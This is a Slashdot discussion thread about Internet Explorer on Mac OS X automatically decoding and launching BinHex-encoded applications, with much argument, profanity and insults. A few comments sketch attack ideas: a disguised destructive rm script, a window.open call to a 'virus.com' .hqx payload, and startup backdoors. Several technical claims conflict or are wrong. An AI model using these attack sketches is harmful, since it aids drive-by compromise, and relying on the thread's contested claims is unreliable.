    Has anyone tried going into the IE Prefs and unchecking Automatically Decode BinHex/MacBinary Files in the Download Options section? It seemed to fix the problem pretty well for me.

  70. Microsoft gets the prize for dumbest ideas by t_allardyce · · Score: 1

    Microsoft gets the prize for the dumbest software 'features' Like vbscripts in outlook, letting java control your browser and running binaries without asking. Personally i like the vb scripts: bringing down entire mail-servers with a language that was designed for 8-year olds just does it for me... or though, theres allot to be said about browser-controlling you can give people heart attacks from just simple java-scripting with multiple pop-up windows, Bin-Laden should be taking notes.

    You all know the way out - don't use IE or Outlook (or Office)

    Microsoft is either the most innovative, or the most incompetent.

    --
    This comment does not represent the views or opinions of the user.
  71. I also have four words for you. by Anonymous Coward · · Score: 0

    SUCK MY FUCKING COCK!!!!!!!

    fglasflhsfalhsfajklsfalhslkjf

    1. Re:I also have four words for you. by Anonymous Coward · · Score: 0

      That's five words plus punctuation.

  72. Why is it there? by Phrogz · · Score: 4, Insightful

    If I click on a link for a .sit.hqx file and IE decodes the HQX, I'd like it to pass the file off to Expander for further decoding.

    If I click on a link for a .doc.hqx file or a .pdf.hqx file, I'd like IE to get Word or Acrobat to open the file after it removes the encoding.

    Apparently this same mechanism accidentally results in executables being run as an attempt to pass them along for further processing to the OS. It's obviously a security whole in retrospect, but understandable how it occured.

    1. Re:Why is it there? by Chester+K · · Score: 2

      Apparently this same mechanism accidentally results in executables being run as an attempt to pass them along for further processing to the OS. It's obviously a security whole in retrospect, but understandable how it occured.

      Mac OS has always been more dangerous as far as trusting data files goes, simply because their forked file format allowed executable code to be attached to any otherwise "pure" data file. If I'm not mistaken (I'm not overly familiar with the internals of the Mac OS), this behavior was used so that data files could FIND their host application, or another suitable application instead, when they were double-clicked. It's a great convenience feature, but it also makes spreading illicit code easier... you don't have to virus scan a .txt file on Windows, but you do on a Mac.

      I wonder if this exploit has anything to do with that.

      --

      NO CARRIER
    2. Re:Why is it there? by Master+Bait · · Score: 1
      So if a naughty person made a shell script that said something like 'find root pipe rm descripter 1 and 2 redirect to /dev/null', all they would have to do is name it fun.sit and then binhex it, right?

      --
      "Only in their dreams can men truly be free 'twas always thus, and always thus will be."
      --Tom Schulman
    3. Re:Why is it there? by hearingaid · · Score: 4, Informative

      That actually makes sense.

      Solution: Check to see what the .hqx decoded to. If its filetype is APPL, do not launch it.

      Time for a patch... :)

      --

      my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

    4. Re:Why is it there? by Phroggy · · Score: 2

      Mac OS has always been more dangerous as far as trusting data files goes, simply because their forked file format allowed executable code to be attached to any otherwise "pure" data file. If I'm not mistaken (I'm not overly familiar with the internals of the Mac OS), this behavior was used so that data files could FIND their host application, or another suitable application instead, when they were double-clicked. It's a great convenience feature, but it also makes spreading illicit code easier... you don't have to virus scan a .txt file on Windows, but you do on a Mac.

      Nope, completely wrong. The "finding" you're talking about (where the Finder got its name) in an attribute in the filesystem, not something in the resource fork, and it's simply two 4-byte identifiers in each file. It's true that you can embed executable code in any file, but there's no reason why this code should EVER be executed, unless the file in question is an executable type of file (such as an application, an extension, or a control panel).

      I wonder if this exploit has anything to do with that.

      Nope.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
    5. Re:Why is it there? by Phroggy · · Score: 2

      If I click on a link for a .sit.hqx file and IE decodes the HQX, I'd like it to pass the file off to Expander for further decoding.

      Yep, I agree.

      If I click on a link for a .doc.hqx file or a .pdf.hqx file, I'd like IE to get Word or Acrobat to open the file after it removes the encoding.

      Absolutely not. The is NO REASON why a Word or Acrobat document should be encoded as BinHex, EVER. If I stumble across one, I want to be forced to go through the extra step of double-clicking, just to make sure I really know what I'm doing.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
    6. Re:Why is it there? by Brownian+Motion · · Score: 1

      Mac apps do not do this now, nor should they.

      For one, there is no reason to binhex a pdf or a MS Word Doc. Neither file type dies if it looses its resource fork, which is the entire purpose of Binhex in the first place. It's not a compression scheme like [g]zip or compress, it's used to gather up a resource fork and a data fork and do the bin to ascii conversion so they can be passed around like text files in email and usenet. BinHex files are larger than the original file.

      With modern browsers, it's not needed at all for web downloads. Macbinary works just fine (a simple flattening of both forks into one binary file). Unlike binhex it's only slightly bigger than the original file.

      There is no reason to "add functionality" just in case someone else does something really boneheaded, like binhex a PDF. Why make a file 1/8 larger and inaccessible to most people not on a mac? It's easy to de-binhex and several programs to do so exist for other operating systems but most people don't have them installed. And, judging from some of the comments, most people don't know what binhex is in the first place.

      Mac OS 9 already has a nice way to map mimetype/extensions/mac types to the app that should open them. The standard settings are perfectly fine for a large number of internet files, which should never be binhexed.

      OS X doesn't have the same functionality in it's internet panel (but should). The individual browsers re-implement it. I guess Apple had too many things on the plate getting Mac OS X out the door.

    7. Re:Why is it there? by hearingaid · · Score: 2

      That's true.

      However, there is at least one non-.sit filetype I can think of that I'd want to do a .hqx on:

      AppleScript source.

      There are probably others, too. But Script Editor files have significant use of both forks.

      --

      my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

    8. Re:Why is it there? by cpt+kangarooski · · Score: 1

      Naw, that's not valid.

      If I took an executable and changed the type/creator codes, it will no longer be recognized as an executable by the system. Rather as though if you stripped a Windows program of the .exe suffix, and tried to run it.

      Forked files are actually pretty cool. If you're using the NTFS filesystem on Windows, you have them too! And IIRC Linus wants them to become commonplace on Linux, if only for intercompatability reasons. So you'd probably look into what they actually do do, pretty quick ;)

      --
      -- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
    9. Re:Why is it there? by stux · · Score: 1

      No :)

      The reason to binhex something is to preserve the resource fork and the filetype/creator code.

      This means the .sit is actually irrelevant and is actually there for user's benefit.

      If you renamed a shell script to .sit and binhexed it, it would either...

      Be associated with stuffit by its filetype (if you set that right) in which case it would not execute, but would be opened by stuffit, and reported as corrupt.

      Or it would be associated with stuffit based on the .sit (if you left the filetype blank) in which case it would also be reported as corrupt.

      If you wrote a simple app in C, which did what you want, then binhexed that, then yes, that would work, and that's where the problem comes from :(

      --

      ---
      Live Long & Prosper \\//_
      CYA STUX =`B^) 'da Captain,
      Jedi & Last *-fytr
    10. Re:Why is it there? by TeamSPAM · · Score: 1

      While that is a good check. What happens when the turns out to be a simple text file with a .pl extenstion?

      --
      Brought to you by Team SPAM! where we believe: "Information in the noise!"
    11. Re:Why is it there? by Phroggy · · Score: 1

      AppleScript source.

      Yep. And I want it saved to the Desktop (or wherever) when I download it. If I want to open it, I can do so on my own.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
    12. Re:Why is it there? by hearingaid · · Score: 2

      If it's a simple text file, its creator will be ttxt, i.e. SimpleText. You only have to worry about it if its creator is McPL (I think, I'm at school so I can't check what the code for MacPerl actually is :)

      Remember, in MacOS (classic anyway), extensions are irrelevant. The only things that matters are creator and filetype.

      --

      my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

  73. Not true by Auckerman · · Score: 5, Insightful

    If the user has Classic running, which is VERY often the case, there is a problem. Classic is setuid root. All one would have to due is encode a malicious classic program as a .hqx, have it add itself to the startup procedure for OS X, and *poofie* instand backdoor.

    --

    Burn Hollywood Burn
    1. Re:Not true by Anonymous Coward · · Score: 0

      "
      If the user has Classic running, which is VERY often the case, there is a problem. Classic is setuid root. All one would have to due is encode a malicious classic program as a .hqx, have it add itself to the startup procedure for OS X, and *poofie* instand backdoor.
      "

      But if i understand correctly, this flaw does not exist in the classic internet explorer, only the OSX version, which would not be using classic
      anyway, so not a problem. right?

    2. Re:Not true by sugarbomb · · Score: 4, Informative

      Classic is not run as root, it's run as the user who is logged in. Classic can freely write to "System Folder", where the classic system lives, but it cannot write to anywhere inside /System, where all the important things live. Classic user would not be able to add itself to the X startup
      But, you could easily add to the Classic system startup, and cause lots of havoc there ..

    3. Re:Not true by Auckerman · · Score: 3, Informative
      "Classic is not run as root, it's run as the user who is logged in"


      [localhost:Classic Startup.app/Contents/Resources] login% pwd
      /System/Library/CoreServices/Classic Startup.app/Contents/Resources
      [localhost:Classic Startup.app/Contents/Resources] login% ls -la TruBlueEnvironment
      -rwsr-xr-x 1 root wheel 476740 Sep 26 20:04 TruBlueEnvironment


      Sure looks like it's setuid root to me.

      --

      Burn Hollywood Burn
    4. Re:Not true by yomegaman · · Score: 1

      I just checked my ps output and it was running as a user, not root. Maybe it only needs root for starting up, then relinquishes the privilege?

      --
      ...wearing a skin-tight topless leather jumpsuit, with cutaway buttocks and transparent crotch panel.
    5. Re:Not true by Anonymous Coward · · Score: 0

      Well, it is not root during runtime. While i haven't tried 10.1, I know for a fact that permissions have stopped me from writing files and accessing forbidden directories in classic (as it should have).

      Tom

    6. Re:Not true by sugarbomb · · Score: 1, Redundant

      Root may be the owner of the file, but that does not mean root owns the process when TruBlue is launched. Classic is just another application, and not a system function. As an app, the only way it gets root power is if a password is entered by an administrative user.

    7. Re:Not true by armb · · Score: 1

      That "s" he put in bold in the permissions shows the setuid bit is set. That _does_ mean root owns the process when it launches (though it might revert to the actual user when its finished with whatever it needs to be root for).

      --
      rant
    8. Re:Not true by darkonc · · Score: 2
      If the file is owned by root and the setuid bit is set, then executing it will get root priveledges. However: the classic code may (probably does) abdicate it's root privs whenever it runs a piece of user code.

      The fact that the program is setuid isn't a gaping security hole. It just has the potential to be a gaping securit hole, if it's written by someone from Microsoft.

      --
      Sometimes boldness is in fashion. Sometimes only the brave will be bold.
    9. Re:Not true by liquidsin · · Score: 1

      No, it's in 5.1 as default, but OSX actually ships with 5.1, whereas "classic" ships with a previous version (I run 5.1 on OS 8.6 and it's still turned on by default, but I shut it off long ago). BTW, you can shut the option off by clicking edit>preferences>receiving files>download options and unchecking the boxes at the bottom

      --
      do not read this line twice.
    10. Re:Not true by binarybits · · Score: 2

      Um, this is me on a Mac OS X v10.1 box...

      tlee@mybox % ps aux | grep TruBlu
      tlee 299 5.4 26.5 1106840 34676 ?? R 25:50.39 /System/Library/CoreServices/Classic Startup.app/Contents/Resources/TruBlueEnvironment

      Looks like it's running as my user to me...

  74. OS 10.0.1 IE hole. by Otarey · · Score: 1

    Preferences fix it. I run 4 systems at my parents house right now. OS 10.0.1, OS 9.1 (for my parents) OS 7.6 (whee hoo!) Win95, and WIn2k.

    1. Re:OS 10.0.1 IE hole. by Anonymous Coward · · Score: 0

      ROOFLE ---- OWN ---- SCRUB

      yamsyamscapsfilteryamsyams

  75. What were you expecting, exactly by Anonymous Coward · · Score: 0

    As we all know by now, the first six releases of any Microsoft product has auto-fuck-me enabled by default for better troubleshooting. So we can chalk this up to standard QA procedure.

  76. Re:Well! by Quasar1999 · · Score: 1

    What kind of hogwash is this? User friendly has nothing to do with security holes...

    One has nothing to do with the other. I can make Windows NT 4 air tight, and it still has all the user friendly features it started with (sorry, don't have enough Linux experience to make the claim, but I'm sure its doable). This security vs user interface crap comes from those who either don't know how to code, or do know how to code, and are too lazy to worry about making it 'look perty'...

    Please, please, please, let this horrible association between good UI and bad security die here and now...

    --

    ---
    Programming is like sex... Make one mistake and support it the rest of your life.
  77. ah the FUD by Anonymous Coward · · Score: 0

    .hqx are compressed files people. Let's see if IE6 automatically unzipped the download file for me I wouldn't mind it, if Mozilla automatically untarred the downloaded file for me I wouldn't mind it either. Even I, a non-Mac user, know what .hqx is. I mean I don't like OS X but that's no reason to start spreading lies about it.

    In the News: "Slashdot, a Linux news site who specialises in flaming MS sofware, added Apple to it's list of enemies because of the recent patent lawsuits. Flame away Linux zealots, because Slashdot doubled your fun."

  78. Meh. by Anonymous Coward · · Score: 0

    Well, I would think that this was important, but the journalistic standards on Slashdot are so low that I'm sure that this is a mistake or an exaggeration.

    Maybe one day, Katz and Taco will be sacked and I can come to believe the articles posted here. Until then, I hate you all, tiny nerds. Fuck off. And die.

  79. It's not quite THAT bad... by Millennium · · Score: 2

    ...though I will admit, it's pretty dismal.

    Administrator-class users [i]do [/i]have to authenticate to save their changes to the NetInfo database.

    The real problem is sudo. Any Administrator-class user can use sudo on anything they want. That is, obviously, an obscenely huge hole. But it's not quite as bad as you make it sound. Still dire, but there's no need to exaggerate it even further than it already is.

    1. Re:It's not quite THAT bad... by Anonymous Coward · · Score: 0

      Yeah, administrator-class users can use sudo -- but to use sudo, they need to supply a password...

    2. Re:It's not quite THAT bad... by iso · · Score: 3, Informative

      This is why anybody using Mac OS X should comment out the line:

      %admin ALL=(ALL) ALL

      in their /etc/sudoers file. The vast majority of Mac users won't miss sudo, and those who do need root privileges can enable the root account through NetInfo, add their account to the "wheel" group, and use su instead of sudo.

      ...or you should live with it, but ensure that your main account is a non-administrator account.

      - j

  80. Does nothing! by Anonymous Coward · · Score: 0

    like Cith said, i tried it in 10.1 and it just downloaded the app to the desktop, the app was decoded but not actually executed.

  81. Someone has finally done it. by nick_burns · · Score: 0

    Well I guess thats one way to make Unix insecure.

    Leave it to Microsoft to finally make Unix insecure. Congrats to the IE team on this one.

  82. Re:Stupid Apple by CodeShark · · Score: 1
    Don't you mean Stupid Microsoft?

    I mean, the only way Apple gets blamed is if Microsoft's Mac IE team got approval from a managerial level inside Apple to include the "run as default" in the spec for IE-Mac. I doubt mgmt at Apple is that stupid... so I would be willing to bet that no-one at Apple ever saw the offending code, primarily because M$ is so damned arrogant about their own perceived superiority based on market share. (insert obligatory rant about M$ marketing techniques here). So the chances of anyone at an outside company being given code review privileges were probably between microscopic and non-existent.

    IE is not an Apple product and you can bet that now that the problem has been exposed there is going to be some serious backrooms yelling at the idiots in Redmond who are inflicting their poor security models and thinking on the Mac platforms, and that Microsoft is going to have to spend some additional development bucks to fix it.

    Of course, we all trust Microsoft's patches to behave themselves, right? NOT!!!!!

    --
    ...Open Source isn't the only answer -- but it's almost always a better value than the alternatives...
  83. Re:Well! by DrSkwid · · Score: 1

    video drivers in the kernel

    need i say more

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  84. Yep -- it's a feature. It really is. by flashms010 · · Score: 1
    With IE up, hit CMD-; to open preferences. Under "Receiving Files", select "Download Options." Note the checkboxes at the bottom of the panel: Automatically decode MacBinary files / Automatically decode BinHex files. They're both defaulted to "checked" for me.

    On the Mac (and probably everywhere else) this is called "post processing" a download. iCab and OmniWeb both offer this too.

    In my experience, this functionality has never been a problem, and has existed at least since 8.5 (what I got on the web with). Stuffit (like Winzip for Macs) also does this -- if you download a file like "foo.tar.gz.sit.zip.hqx" it will automatically keep decoding files until it gets to the foo file. It's a convenience, not a security breach.

    1. Re:Yep -- it's a feature. It really is. by Sunda666 · · Score: 1

      nope!
      It stops being a convenience when it comes to *executing* code. Believe me, auto-executing code can be very, very inconvenient. Auto unpacking/uncompressing/decoding can be very convenient, tough, at least for the average luser.

      --


      ``If a program can't rewrite its own code, what good is it?'' - Mel
    2. Re:Yep -- it's a feature. It really is. by Anonymous Coward · · Score: 0

      There is alot of uninformed commentary going on here... the installed build of IE on OSX executes the automatically de-coded file. This is the problem. This problem was caused by Microsoft and thier customarily dodgy coding. (the autoexecute code should be dissabled by default(not the auto de-compress))!!!

    3. Re:Yep -- it's a feature. It really is. by flashms010 · · Score: 1

      Yes. I am on board now, having learned what the real problem is. Thanks!

  85. Re:Well! by DrSkwid · · Score: 2

    1. video drivers in the kernel

    2. NT4 is no longer a microsoft product see here

    "Effective October 1, 2001, Windows NT Server 4.0, Windows NT 4.0, Enterprise Edition, and Windows NT 4.0 Client Access Licenses (CALs), will no longer be available through volume licensing programs"

    skwid

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  86. Wait... does it run the software, or just decode? by Shadow+Knight · · Score: 1

    Wait a minute here... I think there's a fundamental misunderstanding. Decoding a .hqx or MacBinary file is NOT the same thing as running the resulting executable! It doesn't even have to be an executable... any file can be encoded as BinHex or MacBinary. It's just a method of "flattening" the resource fork and data fork into one file. Stuffit's .sit format has done the equivalent (plus compression) for a couple versions now. I don't have the latest IE yet (waiting for my Student ADC copy of 10.1...), but I'm 99% sure it doesn't automatically run any executables, it just harmlessly decodes the encoded files into their original form.


    later,
    Shadow Knight
    --

  87. Re:Well! by Quasar1999 · · Score: 1

    Exactly... once microsoft stops supporting it, it becomes secure...

    --

    ---
    Programming is like sex... Make one mistake and support it the rest of your life.
  88. pop-up virus? by aralin · · Score: 2
    windows.open("http://virus.com/takeit.hqx");

    Does anyone else remember how new windows with binary files turn automatically in download of the file? You don't even have to start the download yourself. Just browse on some site...

    --
    If programs would be read like poetry, most programmers would be Vogons.
  89. Intrinsic Security in OS 9 by flegged · · Score: 1

    And it's only Classic [blech] apps than are executed automatically. So its not a Unix problem. Its a Mac OS problem. The fact that their OS (their being Mac OS, not that hideous mutation of BSD) has only one privilige level is the worry. Any random binary can scribble over the memory of any other app (thank you Apple, for failing to include memory protection), even the OS itself, including filesystems drivers! Ever wonder why it tells you restart after a random app crashes (which is often) ? Because it could have (and probably did), nuke all the data another app was working with, which will in turn crash and nuke another app...

    Anyway, back ontopic... If you want a secure Unix OS, use Linux, or [Net|Free|Open]BSD. At a pinch you can use OSX (But whatever you don't DON'T install Classic. And log in as a normal user. And reenable the root account so you can disable sudo (but with a nice strong password)). If you want a pretty [blech] gui with transparency and animated menus and the "genie-in-a-bottle" effect, but don't care about your data, then by all means, use Mac OS.

    Think different? Different what, colours? How about you just think for a moment...

    --

    "I think he was truly surprised at how little I cared about how big a market the Mac had" - Linus on Jobs
    1. Re:Intrinsic Security in OS 9 by Anonymous Coward · · Score: 0

      do you use a computer as a tool, or are you a tool who uses a computer? fucking geeks piss me off - talk shit about MacOS all day buddy, your linux will amount to nothing. You will NEVER get laid.

    2. Re:Intrinsic Security in OS 9 by MaxVlast · · Score: 1

      Wow. First of all, unclench.

      Second, you're just wrong. Classic is a Mach process, just like bash or OmniWeb. That's the point. All of the old (non-protected) apps run in a virual machine. They can screw each other up just like they always could. They can't harm anything outside of the Classic environment. So a binary can't scribble over the FS drivers in OS X. And memory protection is there. Every Mach process gets full VM and memory protection. Installing Classic doesn't make your machine instantly unstable. I'm just not sure where you get the "your data is unsafe in OS X" bit.

      --
      There should be a moratorium on the use of the apostrophe.
      Max V.
      NeXTMail/MIME Mail welcome
    3. Re:Intrinsic Security in OS 9 by Anonymous Coward · · Score: 0

      your gibberish is specific mostly to MacOS 9. you're not revealing anything new here... I'd like to also point out what an earlier poster wrote, that is, this is a Microsoft generated problem. Unsurprisingly people miss this point entirely.

    4. Re:Intrinsic Security in OS 9 by J.+Random+Software · · Score: 1

      Unfortunately, the Classic process has complete access to the network and all files the current user is allowed to modify (and for a single user system, that's everything of value). This is why we should be using capability-based systems, so we don't have to blindly delegate all our privileges to everything we run, even if we don't really trust it.

    5. Re:Intrinsic Security in OS 9 by flegged · · Score: 1

      Yes, Classic is a Mach process and all that yada yada yada.

      My point was that Classic is still as unstable as it ever was. And this security hole only affects Classic, not OSX, or even OS9. J Random Binary is still capable of nuking your home directory, and the OS9 System Folder even if it can't damage your OSX installation. So like I said, use OSX if you must, but don't install Classic if you care about your data.

      --

      "I think he was truly surprised at how little I cared about how big a market the Mac had" - Linus on Jobs
    6. Re:Intrinsic Security in OS 9 by Anonymous Coward · · Score: 0

      A: "OS X is safe because it's based on Unix"

      B: "It's got other stuff besides Unix running"

      C: "So its not a Unix problem."

      Do you have some pathological reason to defend Unix here? We're talking about Mac OS X, not picking on your favorite operating system.

      It's also very difficult at this point to use an OS X system without Classic. Even some native apps (Acrobat, for example) have Classic installers.

    7. Re:Intrinsic Security in OS 9 by Anonymous Coward · · Score: 0

      Gee, I'd use the uber secure Linux (yea right, OpenBSD more like it) to protect my precious data except it has no applications that can read my precious data. What a line of shit, it's no harder to secure OSX than it is to secure Linux plus it has Photoshop/Freehand/Quark compatability so I have actual data worth securing.

    8. Re:Intrinsic Security in OS 9 by MaxVlast · · Score: 1

      Installing classic is as dangerous as installing any Mach app. There's no way to expect them to have made Classic any more secure (contrary to your aside about memory protection).

      I'm comfortable installing Classic, just not using IE. Besides, OmniWeb is better in every way.

      --
      There should be a moratorium on the use of the apostrophe.
      Max V.
      NeXTMail/MIME Mail welcome
  90. hole by mlknowle · · Score: 1

    The huge security hole JUST GOT BIGGER with a huge /. story! Prehaps we should refrain fron reporting these things till they are fixed - kind of like how newspapers sometimes won't report on troop movements (esp. during WWII)

    1. Re:hole by Lordie · · Score: 1

      That's why closed-source software is so successful. If more people DON'T know what the code does, the better. Keep your cards close to your chest, and all. The best decision would have been to report directly to Microsoft, then keep quiet until a patch got released, and hope that nobody else found the hole...after all, nobody else would be clever enough to find it, right?

      I think you're a moron.

    2. Re:hole by Anonymous Coward · · Score: 0

      that's just fucking stupid. there is no motivation to fix this shit if there is no pressure on the MicrowankerS. Furthermore, STFU.

  91. Meet a savvy Mac user by flwombat · · Score: 1

    Hi. I'm Jack. Nice to meet you.

    --
    ---------
    get your war on
  92. I wonder. . . by foo+fighter · · Score: 1

    I imagine Jobs is fuming at this wondering just what it's going to take to keep Microsoft off MacOS. I wonder if Apple has any skunk work projects or programmers working on non-Microsoft browsers and office suites. Kinda conspiracy theory-ish, I know.

    --
    obviously no deficiencies vs. no obvious deficiencies
    1. Re:I wonder. . . by Wyatt+Earp · · Score: 1

      I doubt it, because in the four days I've been using IE 5 on Mac OS 10.1, it's been really fast and really stable.

      This issue will only take a minor patch to fix.

      On the issue of Skunk Works...I'd bet that Apple has been helping the Omni Web fellows work on that great Cocoa browser of thiers.

      Who know...maybe there is a Cocoa version of CyberDog somewhere at Apple.

  93. Here's the issue by sacrilicious · · Score: 1

    I see various posts here investigating the question of whether an OK button is warranted when making the decision to launch the hqx file. I think the issue is quite different. The problem as described is that any download that the browser thinks is an hqx file gets *executed*... as opposed to decoded by the appropriate program.

    The problem begins and ends with the browser designers' decision to invoke the decode by telling the OS to "launch" the file, leaving it to the system to examine the file's metadata and leading to this security hole when that metadata indicates that the file is an application instead of a binhex file (despite the .hqx ending).

    The right way to solve this problem is to:
    1) download the file ending in .hqx
    2) tell the OS to launch the OS's choice of decoder program for hqx files, and
    3) tell that launched program to decode the downloaded file.

    --
    - First they ignore you, then they laugh at you, then ???, then profit.
  94. Re:Intrinsic Security in OS X - It's even worse... by sakusha · · Score: 2, Informative
    I think a very important point to make here is that by default, the user you set up when installing Mac OS X is an administrative user and not only that is automatically logged in when the computer boots. So obviously ~99% of the Mac OS X boxes out there are vulnerable to this bug.

    You are incorrect. The default user does not have any root privileges, you have to specifically enable them. The rest of your assertions are equally bullshit. You must enable root to change anything in NetInfo Manager.
    A few messages down from this is some more misinformation. Classic mode apps run as user, not root. No gaping security hole there either.
    So will you guys give MacOS X a chance, and at least make SOME attempt to verify the accuracy of your statements before slagging on the product? MacOS X is your friend, Apple is now the largest Unix vendor in the world.
  95. Re:Not M$ by Winged+Cat · · Score: 2

    the Microsoft Macintosh Business unit, which is a somewhat independent MS arm

    If only that were true. It is correct that large corporations are actually a bunch of smaller companies bound together as "business units" in an attempt to get them to play nice together, but Microsoft is bound closer than most such businesses, with the top leading by example.

    As evidence, take their uniformly poor attitude towards security...and their applying features from games to other software (one can get obsessed about a game and learn all its controls, and if it crashes, one can just pick up from the last save; this mantra has problems when applied to, say, office software). Also see "embrace and extend" used across the board, to varying degrees of success.

  96. Remote Sploit by Anonymous Coward · · Score: 0
    Hmmm. Now all a hacker has to do is figure out a way to remotely launch IE to a specific website to download and execute a local(now remote) privelege escalading Sploit. How would you do that?

    Outlook, Anyone? Sending someone a URL in an email message oughta do it.

  97. Wouldn't you think by Lank · · Score: 1

    That if the user clicked on the link to download the hqx, that he would have run it after it finished downloading anyway? If I click something to download, at that point it really doesn't matter whether the browser runs it or I do.

    --
    Gotta get me one of these!
    1. Re:Wouldn't you think by Junta · · Score: 4, Insightful

      But people might not realize they are downloading something until it is too late. an onLoad directive to load a file, or an embed, or simply a disguised link that most people wouldn't bother checking..

      --
      XML is like violence. If it doesn't solve the problem, use more.
  98. Re:Well, yeah. by Viadd · · Score: 2
    ...most users would turn it off...

    Except that the checkboxes say Automatically decode binhex files, they don't say ... and execute them without warning. The first would be a nice feature. The second is a security hole of Gatesian proportions.

  99. In walks the Sandman ready to kick your ass by Graymalkin · · Score: 1

    Uh I don't think the original poster has ever used a Mac and thus has no idea what a .bin or .hqx is. HFS stores files as what are called forks. A file has a resource fork and a data fork. The resource fork is the important part because it contains information about the file telling the system what type of file it is as well as who owns/created it. If you send a file from a Mac to a non-Mac system the resource fork is lost most of the time and you end up with a meaningless set of data. MacBinary and BinHex encoding came about because Mac files needed to be sent over network mediums possibly through systems that had no concept of data forks. They combine the data and resource forks in a single file system entity so they can be sent over a network. BinHex provides a little bit of compression with RLE encoding. The fact that IE automagically decodes either BinHex or MacBinary files means it does what it is supposed to do. This is not a security hole because it doesn't automatically run anything that was encoded. It just turns it into a normal Mac file entity. If you're set to automatically expand SIT or SEA files then you're asking for someone to fuck you over. This is NOT a security hole in IE. Geez

    --
    I'm a loner Dottie, a Rebel.
    1. Re:In walks the Sandman ready to kick your ass by raynet · · Score: 1

      Well the site says:
      - "Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!

      If this actually happens then Mac uses are fucked, otherwise it's the users stupidity.

      --
      - Raynet --> .
    2. Re:In walks the Sandman ready to kick your ass by benh57 · · Score: 1

      I am amazed that so many people cannot read simple english. Graymalkin, IE *DOES* execute the app which comes out of the hqx. THAT IS THE PROBLEM. To replicate, binhex an app. (do NOT stuff it) Then download it with IE on OSX 10.1. IE will launch it. Certainly does on my system.

    3. Re:In walks the Sandman ready to kick your ass by Anonymous Coward · · Score: 0

      Hopefully this will be modded up as informational (is this what they call "karma whoring?", well, I am doing it anonymously, so there...).

      But the type and creator are not stored in the resource fork, instead, type and creator are stored as metadata in the filesystem.

      Then there can be a data fork, and a resource fork to a file. BinHex encodes the type, creator, data, and resource forks into one glob suitable for travel over all sorts of systems.

      Even more interesting is how MacOSX stores this data on a UFS filesystem and manages to make it appear as an old timey HFS file with data/resource forks.

      Anonymous Cow

    4. Re:In walks the Sandman ready to kick your ass by Graymalkin · · Score: 2

      Weird how easily i set IE NOT to execute the output of a BinHex and MacBinary file by just going into preferences. People were equating BinHex with SEA or something which it isn't. It is just a fork packager. I've never had IE execute anything on download anyhow and neither do most people.

      --
      I'm a loner Dottie, a Rebel.
    5. Re:In walks the Sandman ready to kick your ass by Graymalkin · · Score: 2

      All the browsers have had the feature to automatically launch a binhexed file for a long time. What the site doesn't point out which is blatantly obvious is that this is not seen as a design flaw since you're not randomly downloading shit off the internet. You have to choose to download it and IE also allows you to set whether or not you want BinHex or MacBinary files run after they're downloaded. The fact this was labeled a huge security hole and blamed enitrely on Microsoft is ridiculous. Users who don't pay better attention to what they're downloading end up fucked in any event regardless of IE.

      --
      I'm a loner Dottie, a Rebel.
    6. Re:In walks the Sandman ready to kick your ass by Anonymous Coward · · Score: 0

      You seem to be assuming nobody's going to disguise a malicious Mac app as a document or something (which is easy, since the actual file type is stored in the BinHex encoding rather than the MIME media type the browser sees).

    7. Re:In walks the Sandman ready to kick your ass by stux · · Score: 1

      What you don't seem to realise is

      1) IE *DOES* launch the results of the download.

      and here's the killer

      2) no you do not need to authorize a download, any website can download anything the hell it wants to your computer. No you do not need to click to start downloads.

      --

      ---
      Live Long & Prosper \\//_
      CYA STUX =`B^) 'da Captain,
      Jedi & Last *-fytr
    8. Re:In walks the Sandman ready to kick your ass by stux · · Score: 1

      Damnit, read the article

      You've never had it happen because IE has never been able to do it before.

      It happens now because as a side effect of "automatically decoding" like webbrowsers have always done on the mac, the executable gets executed... which is NOT how it has always been.

      Turning off autodecoding should not be necessary to prevent code getting executed automatically.

      The fact that in the default configuration this is how it is is all that matters.

      (I loved that sentence ;))

      --

      ---
      Live Long & Prosper \\//_
      CYA STUX =`B^) 'da Captain,
      Jedi & Last *-fytr
  100. Is this really an issue? by Macster · · Score: 1
    ...when it downloads arbitrary programs encoded in the Macintosh's standard BinHex (.hqx) format, it automatically executes them.
    This is misleading. The browser decodes the BinHex file, but does not actually execute the expanded program. The only way for the program to be executed is if the user deliberately opens it. This really isn't a grave matter of security, but rather a convenience.

    - A
    1. Re:Is this really an issue? by Anonymous Coward · · Score: 0
      The browser decodes the BinHex file, but does not actually execute the expanded program.

      What part of

      Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!
      did you not understand?
    2. Re:Is this really an issue? by Anonymous Coward · · Score: 0

      Read the article next time. AUTO-EXECUTION occurs. So, yes, it really is an issue.

  101. The real reason by Anonymous Coward · · Score: 2, Funny

    After usibility testing with average Mac users explaining how downloaded files need to be stored somewhere and then doubleclicked to execute, Microsoft said "fuck it" and made it automatic.

    Design a computer for an moron, and only morons will use it.

  102. Re:Well! by Anonymous Coward · · Score: 0
    Oh please stop perpetrating that myth. Video drivers cause no more stability problems than any driver in the kernel. That myth came about after the shocking stability problems of NT3.51 and Microsoft tried to blame the driver manufacturers. It backfired and people got this silly idea that any drivers in the kernel was a bad idea and prone to crashing.

    Linux is heading down the same path with The Linux Framebuffer which, in my experience, has been as stable as pi.

  103. Replace IE On Any System by PRickard · · Score: 2, Redundant

    For a full list of replacements for Internet Explorer on any computer system, check out the Internet Explorer listing on MSBC's The Alternative. It's worth a read to see just how many IE replacements are available, quite a few of them for Macs.

    --

    == Paul Rickard, Editor of The Microsoft Boycott Campaign ====

    1. Re:Replace IE On Any System by Phroggy · · Score: 1

